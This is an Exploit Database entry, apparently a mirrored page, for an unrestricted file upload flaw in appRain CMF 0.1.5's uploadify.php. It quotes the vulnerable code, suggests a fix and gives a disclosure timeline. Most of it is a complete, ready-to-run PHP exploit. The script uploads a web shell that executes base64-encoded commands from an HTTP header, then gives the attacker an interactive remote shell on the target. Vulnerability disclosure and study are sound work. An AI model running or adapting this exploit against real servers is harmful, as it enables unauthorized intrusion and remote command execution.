appRain CMF 0.1.5 – ‘Uploadify.php’ Unrestricted Arbitrary File Upload

Exploit Database
106 阅读

作者： EgiX

日期： 2012-01-19
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/18392/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

<?php

---------------------------------------------------------------------

appRain CMF <= 0.1.5 (uploadify.php) Unrestricted File Upload Exploit

---------------------------------------------------------------------

author............: Egidio Romano aka EgiX

mail..............: n0b0d13s[at]gmail[dot]com

software link.....: http://www.apprain.com/

+-------------------------------------------------------------------------+

| This proof of concept code was written for educational purpose only.|

| Use it at your own risk. Author will be not responsible for any damage. |

+-------------------------------------------------------------------------+

[-] vulnerable code in /webroot/addons/uploadify/uploadify.php

27.if (!empty($_FILES)) {

28.$tempFile = $_FILES['Filedata']['tmp_name'];

29.//$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';

30.$targetFile ="uploads/" . $_FILES['Filedata']['name'];

31.

32.// $fileTypes= str_replace('*.','',$_REQUEST['fileext']);

33.// $fileTypes= str_replace(';','|',$fileTypes);

34.// $typesArray = split('\|',$fileTypes);

35.// $fileParts= pathinfo($_FILES['Filedata']['name']);

36.

37.// if (in_array($fileParts['extension'],$typesArray)) {

38.// Uncomment the following line if you want to make the directory if it doesn't exist

39.// mkdir(str_replace('//','/',$targetPath), 0755, true);

40.

41.move_uploaded_file($tempFile,$targetFile);

42.echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);

43.// } else {

44.//echo 'Invalid file type.';

45.// }

46.}

Restricted access tothis script isn't properly realized,so an attacker mightbe able to upload

arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked.

[-] Possible bug fix:

include_once('../../../app.php');

App::__Obj('appRain_Base_Core')->check_admin_login();

add this lines of code at the beginning of the script

[-] Disclosure timeline:

[19/12/2011] - Vulnerability discovered

[19/12/2011] - Issue reported to http://www.apprain.com/ticket/1135

[20/12/2011] - Vendor response and fix suggested

[16/01/2012] - After four weeks still no fix released

[19/01/2012] - Public disclosure

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);

return stream_get_contents($sock);

}

print "\n+---------------------------------------------------------------+";

print "\n| appRain CMF <= 0.1.5 Unrestricted File Upload Exploit by EgiX |";

print "\n+---------------------------------------------------------------+\n";

if ($argc < 3)

{

print "\nUsage......: php $argv[0] <host> <path>\n";

print "\nExample....: php $argv[0] localhost /";

print "\nExample....: php $argv[0] localhost /apprain-v015/\n";

die();

}

$host = $argv[1];

$path = $argv[2];

$payload= "--o0oOo0o\r\n";

$payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"sh.php\"\r\n\r\n";

$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";

$payload .= "--o0oOo0o--\r\n";

$packet= "POST {$path}addons/uploadify/uploadify.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

if (!preg_match('/sh.php/', http_send($host, $packet))) die("\n[-] Upload failed!\n");

$packet= "GET {$path}addons/uploadify/uploads/sh.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";

while(1)

{

print "\napprain-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

$response = http_send($host, sprintf($packet, base64_encode($cmd)));

preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}